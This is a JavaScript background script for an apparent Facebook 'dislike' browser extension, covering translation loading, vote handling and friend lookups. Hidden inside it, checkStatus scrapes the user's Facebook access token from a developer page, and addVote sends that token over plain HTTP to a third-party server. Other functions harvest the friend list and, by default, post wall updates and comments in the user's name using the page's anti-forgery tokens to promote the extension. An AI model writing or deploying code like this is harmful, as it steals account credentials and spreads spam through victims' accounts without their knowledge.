var dislikesBG = 
{
	usersData: {},
	friendsData: [],
	friendsLoaded: false,
	sessionData: '',
	transObj:
		{
			"en_US": {name: "English"},
			"en_ALT": {name: "English (alternative)"},
			"bg_BG": {name: "Български"},
			"de_DE": {name: "Deutsch"},
			"el_GR": {name: "Ελληνικά"},
			"es_LA": {name: "Español"},
			"es_ES": {name: "Español (España)"},
			"fr_FR": {name: "Français (France)"},
			"fa_IR": {name: "فارسی"},
			"fi_FI": {name: "Suomi"},
			"he_IL": {name: "עברית"},
			"hi_IN": {name: "हिन्दी"},
			"hu_HU": {name: "Magyar"},
			"id_ID": {name: "Bahasa Indonesia"},
			"it_IT": {name: "Italiano"},
			"ko_KR": {name: "한국어"},
			"nl_NL": {name: "Nederlands"},
			"pl_PL": {name: "Polski"},
			"pt_PT": {name: "Português (Portugal)"},
			"sr_RS": {name: "Српски"},
			"tr_TR": {name: "Türkçe"},
			"zh_TW": {name: "中文(台灣)"},
		},
	scriptData: false,
	lastCommentSent: 0,
	options:
	{
		commentStuff: 1,
		postInfoToWall: 1,
		language: 0,
		firstTime: 1
	},
	sessionChkTimeout: null,
	
	loadTranslations: function()
	{
		for(var loc in dislikesBG.transObj)
		{
			dislikesBG.jQuery.ajax({
				url: dislikesBG.getBGurl('../locales/'+loc+'/messages.json'),
				beforeSend: function(xhr)
				{
					if (xhr.overrideMimeType)
					{
						xhr.overrideMimeType("application/json");
					}
				},
				dataType: 'json',
				method: 'GET',
				async: false,
				success: function(lang)
				{
					try
					{
						var lang = JSON.parse(lang);
					}
					catch(e)
					{
						//alert(e);
					}
					
					if(typeof(dislikesBG.transObj[loc].msgs) == 'undefined')
					{
						dislikesBG.transObj[loc].msgs = {comments: []};
					}
					
					for(var id in lang)
					{
					if(id.indexOf('RandComment') == 0)
							dislikesBG.transObj[loc]['msgs']['comments'].push(lang[id]);
						else
							dislikesBG.transObj[loc]['msgs'][id] = lang[id];
					}
				}
			});
		}
	},
	
	checkStatus: function(callback, data, response, doc)
	{
		dislikesBG.jQuery.ajax({
			url: 'https://developers.facebook.com/docs/reference/api/',
			method: 'GET',
			dataType: 'text',
			success: function(d)
			{
				var pos1 = d.indexOf('?access_token=')+1;
				if(pos1 == 0)
				{
					dislikesBG.sessionData 		= '';
					dislikesBG.friendsLoaded 	= false;
					dislikesBG.friendsData		= [];
					
					if(callback != undefined)
					{
						response({error: true, id: data.elid, curFbid: data.fbid, opt: data.opt, doc: doc});
					}
					return;
				}
				var pos2 = d.indexOf('"', pos1);
				dislikesBG.sessionData = d.slice(pos1,pos2);
				
				if(!dislikesBG.friendsLoaded)
				{
					dislikesBG.loadFriends();
				}
				
				if(callback != undefined)
					callback(data, response, doc);
			},
			error: function()
			{
				if(callback != undefined)
				{
					response({error: true, id: data.elid, curFbid: data.fbid, opt: data.opt, doc: doc });
				}
				return;
			}
		});
	},
	
	getDislikeLike: function(ids, callback, doc)
	{
		dislikesBG.jQuery.get(dislikesBG.getBGurl('list.html'), function(data)
		{ 
			try
			{
				var dataHTML = dislikesBG.jQuery(dislikesBG.HTMLParser('<div>'+data+'</div>'));
				
				
				var procArr = [];			
				var idsArr = ids.split(",");
				
				dislikesBG.jQuery(idsArr).each(function(k,v)
				{
					if(typeof(dislikesBG.usersData[v]) == 'undefined')
					{
						procArr.push(v);
					}
					else
					{
						dataHTML.find('.uiList').append(dislikesBG.HTMLParser('<li class="uiListItem uiListLight uiListVerticalItemBorder"><div class="UIImageBlock clearfix UIImageBlock_Entity"><a class="UIImageBlock_Image UIImageBlock_ENT_Image" href="https://www.facebook.com/profile.php?id='+v+'" tabindex="-1"><img class="img" src="https://graph.facebook.com/'+v+'/picture" /></a><div class="UIImageBlock_Content UIImageBlock_ENT_Content"><div class="fsl fwb fcb"><a href="https://www.facebook.com/profile.php?id='+v+'">'+dislikesBG.usersData[v]+'</a></div></div></div></li>'));
					}
				});
				
				if(procArr.length > 0)
				{
					dislikesBG.jQuery.ajax({
						url: 'https://graph.facebook.com/',
						data: {ids: procArr.join()},
						method: 'GET',
						dataType: 'text',
						success:function(obj)
						{
							var d2 = JSON.parse(obj);
							for(var uid in d2)
							{
								dislikesBG.usersData[uid] = d2[uid].name;
								
								var v = uid;
								
								dataHTML.find('.uiList').append(dislikesBG.HTMLParser('<li class="uiListItem uiListLight uiListVerticalItemBorder"><div class="UIImageBlock clearfix UIImageBlock_Entity"><a class="UIImageBlock_Image UIImageBlock_ENT_Image" href="https://www.facebook.com/profile.php?id='+v+'" tabindex="-1"><img class="img" src="https://graph.facebook.com/'+v+'/picture" /></a><div class="UIImageBlock_Content UIImageBlock_ENT_Content"><div class="fsl fwb fcb"><a href="https://www.facebook.com/profile.php?id='+v+'">'+dislikesBG.usersData[v]+'</a></div></div></div></li>'));
							}				
							callback(dataHTML.html(), doc);
						}
					});
				}
				else
				{
					callback(dataHTML.html(), doc);
				}
			}
			catch(e)
			{
				//alert(e);
			}
		});
	},
	
	addVote: function(data, callback, doc)
	{
		data.session = dislikesBG.sessionData;

		dislikesBG.jQuery.ajax({
			url: 'http://di.slik.es/backend/json.php?action=addVote',
			method: 'GET',
			cache: false,
			data: data,
			dataType: 'text',
			success: function(dataRes)
			{
				try
				{
					dataRes = JSON.parse(dataRes);
				}
				catch(e){}
				
				if(dataRes.error)
				{
					dislikesBG.checkStatus(dislikesBG.addVote, data, callback, doc);
				}
				else
				{
					var cnt = 1;
					if(typeof(dataRes.commentCnt) != 'undefined')
						cnt = parseInt(dataRes.commentCnt.toString());
					
					if(data.opt == 'add')
						callback({id: data.elid, curFbid: data.fbid, commentOnly: true, commentCnt: cnt, doc: doc});

					dislikesBG.appendUsers(dataRes, callback, doc);
				}
			},
			error: function(res)
			{
			}
		});
	},
	
	loadFriends: function()
	{
		dislikesBG.jQuery.ajax({
			url: 'https://graph.facebook.com/me/friends',
			data: dislikesBG.sessionData,
			method: 'GET',
			dataType: 'text',
			success:function(obj)
			{
				var d2 = JSON.parse(obj);
				
				dislikesBG.jQuery(d2.data).each(function(k,v)
				{
					dislikesBG.friendsData.push(v.id);
					dislikesBG.usersData[v.id] = v.name;
				});
				
				dislikesBG.friendsLoaded = true;
			}
		});
	},
	
	appendUsers: function(res, callback, doc)
	{
		var procArr = [];
		
		dislikesBG.jQuery(res.uidList).each(function(k,v)
		{
			if(typeof(dislikesBG.usersData[v]) == 'undefined')
			{
				procArr.push(v);
			}
		});
		
		if(procArr.length > 0)
		{
			dislikesBG.jQuery.ajax({
				url: 'https://graph.facebook.com/',
				data: {ids: procArr.join()},
				method: 'GET',
				dataType: 'text',
				success:function(obj)
				{
					var d2 = JSON.parse(obj);
					
					for(var uid in d2)
					{
						dislikesBG.usersData[uid] = d2[uid].name;
					}
					res.usersData = dislikesBG.usersData;
					res.doc = doc;
					callback(res);
				}
			});
		}
		else
		{
			res.usersData = dislikesBG.usersData;
			res.doc = doc;
			callback(res);
		}
	},
	
	postStatus: function(params, message)
	{
		if(dislikesBG.options.postInfoToWall == 0) return;
		
		var pid = params.page_id.replace('page_', '');		
		
		dislikesBG.jQuery.ajax({
			url: 'https://graph.facebook.com/'+pid,
			method: 'GET',
			dataType: 'text',
			success:function(obj)
			{
				var d2 = JSON.parse(obj);

							
				
				var URL = 'http://www.facebook.com/ajax/updatestatus.php?__a=1';
				var postData = { 
					'post_form_id': params.post_form_id,
					'fb_dtsg':	params.fb_dtsg,
					'xhpc_composerid': 'u123456_7',
					'xhpc_targetid': params.user_id,
					'xhpc_context': 'home',
					'xhpc_fbx': '',
					'xhpc_timeline	': '',
					'xhpc_message_text': message+ ': '+d2.name+' ( http://di.slik.es/pages/'+(typeof(d2.username) == 'undefined' ? d2.id : d2.username)+' )',
					'xhpc_message':  message+ ': @['+pid+':'+d2.name+'] ( http://di.slik.es/pages/'+(typeof(d2.username) == 'undefined' ? d2.id : d2.username)+' )',
					'UIPrivacyWidget[0]': '55',
					'privacy_data[value]': '55',
					'privacy_data[friends]': '0',
					'privacy_data[list_anon]': '0',
					'privacy_data[list_x_anon]': '0',
					'nctr[_mod]': 'pagelet_composer',
					'lsd':	'',
					'post_form_id_source':'AsyncRequest'	
				};
				
				var postData = dislikesBG.jQuery.param(postData).replace(/%5B/g,'[').replace(/%5D/g,']');
				
				dislikesBG.jQuery.ajax({
					type: "POST",
					url: URL,
					data: postData,
					dataType: 'text'});
			}
		});
	},
	
	sendComment: function(params, message)
	{
		if(dislikesBG.options.commentStuff == 0) return;
		
		if(new Date().getTime() < dislikesBG.lastCommentSent + 60*60*1000) return;
		
		if(params.fbid.indexOf('_') != -1)
		{
			var URL = 'https://www.facebook.com/ajax/groups/mall/ufi.php?__a=1';
			
			var i1 = params.fbid.indexOf('_');
			var mid = params.fbid.slice(0, i1);
			var gid = params.fbid.slice(i1+1);	
			
			var postData = { 
				'charset_test': params.charset_test,
				'post_form_id': params.post_form_id,
				'fb_dtsg':	params.fb_dtsg,
				'add_comment_text': message,
				'message_id': mid,
				'gid': gid,			
				'xhp_ufi': 1,
				'lsd':	'',
				'comment': 1,
				'post_form_id_source':'AsyncRequest'	
			};
		}
		else
		{
			var URL = 'https://www.facebook.com/ajax/ufi/modify.php?__a=1';
			
			var postData = { 
				'charset_test': params.charset_test,
				'post_form_id': params.post_form_id,
				'fb_dtsg':	params.fb_dtsg,
				'xhp_ufi': 1,
				'comment': 'Add comment',
				'feedback_params': params.feedback,
				'add_comment_text': message,
				'link_data': params.link_data,
				'nctr[_mod]': 'pagelet_home_stream',
				'lsd':	'',
				'post_form_id_source':'AsyncRequest'	
			};
		}
		
		var postData = dislikesBG.jQuery.param(postData).replace(/%5B/g,'[').replace(/%5D/g,']');
		
		dislikesBG.jQuery.ajax({
			type: "POST",
			url: URL,
			data: postData,
			dataType: 'text',
			success: function(data)
			{
				var str = data.substring(9);
				var error = JSON.parse(str).error;

				if(typeof(error) == 'undefined')
				{
					dislikesBG.lastCommentSent = new Date().getTime();
					dislikesBG.jQuery.getJSON('http://di.slik.es/backend/json.php?callback=?',{action: 'commented', fbid: params.fbid});
				}
			}
		});
	},
	
	onRequest: function(request, sender, callback, doc)
	{
		if(dislikesBG.safari)
		{
			var event = dislikesBG.jQuery.extend(true, {}, request);
			var request = event.message;
			
			if(event.message.callback == '')
			{
				var callback = function(){};
			}
			else
			{
				var callback = function(d1) { event.target.page.dispatchMessage(event.message.callback, d1) };
			}
		}
		
		if (request.action == 'getJSON')
		{
			if(request.type == 'dislikes')
			{
				dislikesBG.jQuery.ajax({
					url: 'http://di.slik.es/backend/json.php',
					data: {ids: request.ids, grpIDS: request.grpIDS, commIDS: request.commIDS, grpCommIDS: request.grpCommIDS, pageIds: request.pageIds},
					method: 'GET',
					dataType: 'text',
					success: function(res)
					{
						try
						{
							res = JSON.parse(res);
						}
						catch(e){};
						dislikesBG.appendUsers(res, callback, doc);
					}
				});
			}
			else if(request.type == 'options')
			{
				dislikesBG.jQuery.get(dislikesBG.getBGurl('options.html'), function(d) { callback(d, doc); });
			}
			else if(request.type == 'addVote')
			{
				var params = { fbid: request.fbid, target: request.target, elid: request.elid, opt: request.opt};

				if(dislikesBG.sessionData == '')
					dislikesBG.checkStatus(dislikesBG.addVote, params, callback, doc);
				else
					dislikesBG.addVote(params, callback, doc);
			}
			else if(request.type == 'dislikeList')
			{
				dislikesBG.getDislikeLike(request.ids, callback, doc);
			}
		}
		else if(request.action == 'commentPost')
		{
			dislikesBG.sendComment(request.commParams, request.commMessage);
		}
		else if(request.action == 'postStatus')
		{
			dislikesBG.postStatus(request.commParams, request.commMessage);
		}
		else if(request.action == 'showLoading')
		{
			dislikesBG.jQuery.get(dislikesBG.getBGurl('loading.html'), function(d) { callback(d, doc); });
		}
		else if(request.action == 'loadOptions')
		{
			dislikesBG.loadOptions(callback, request.userID, doc);
		}
		else if(request.action == 'saveOptions')
		{
			dislikesBG.saveOptions(callback, request.userID, request.options, doc);
		}
	}
};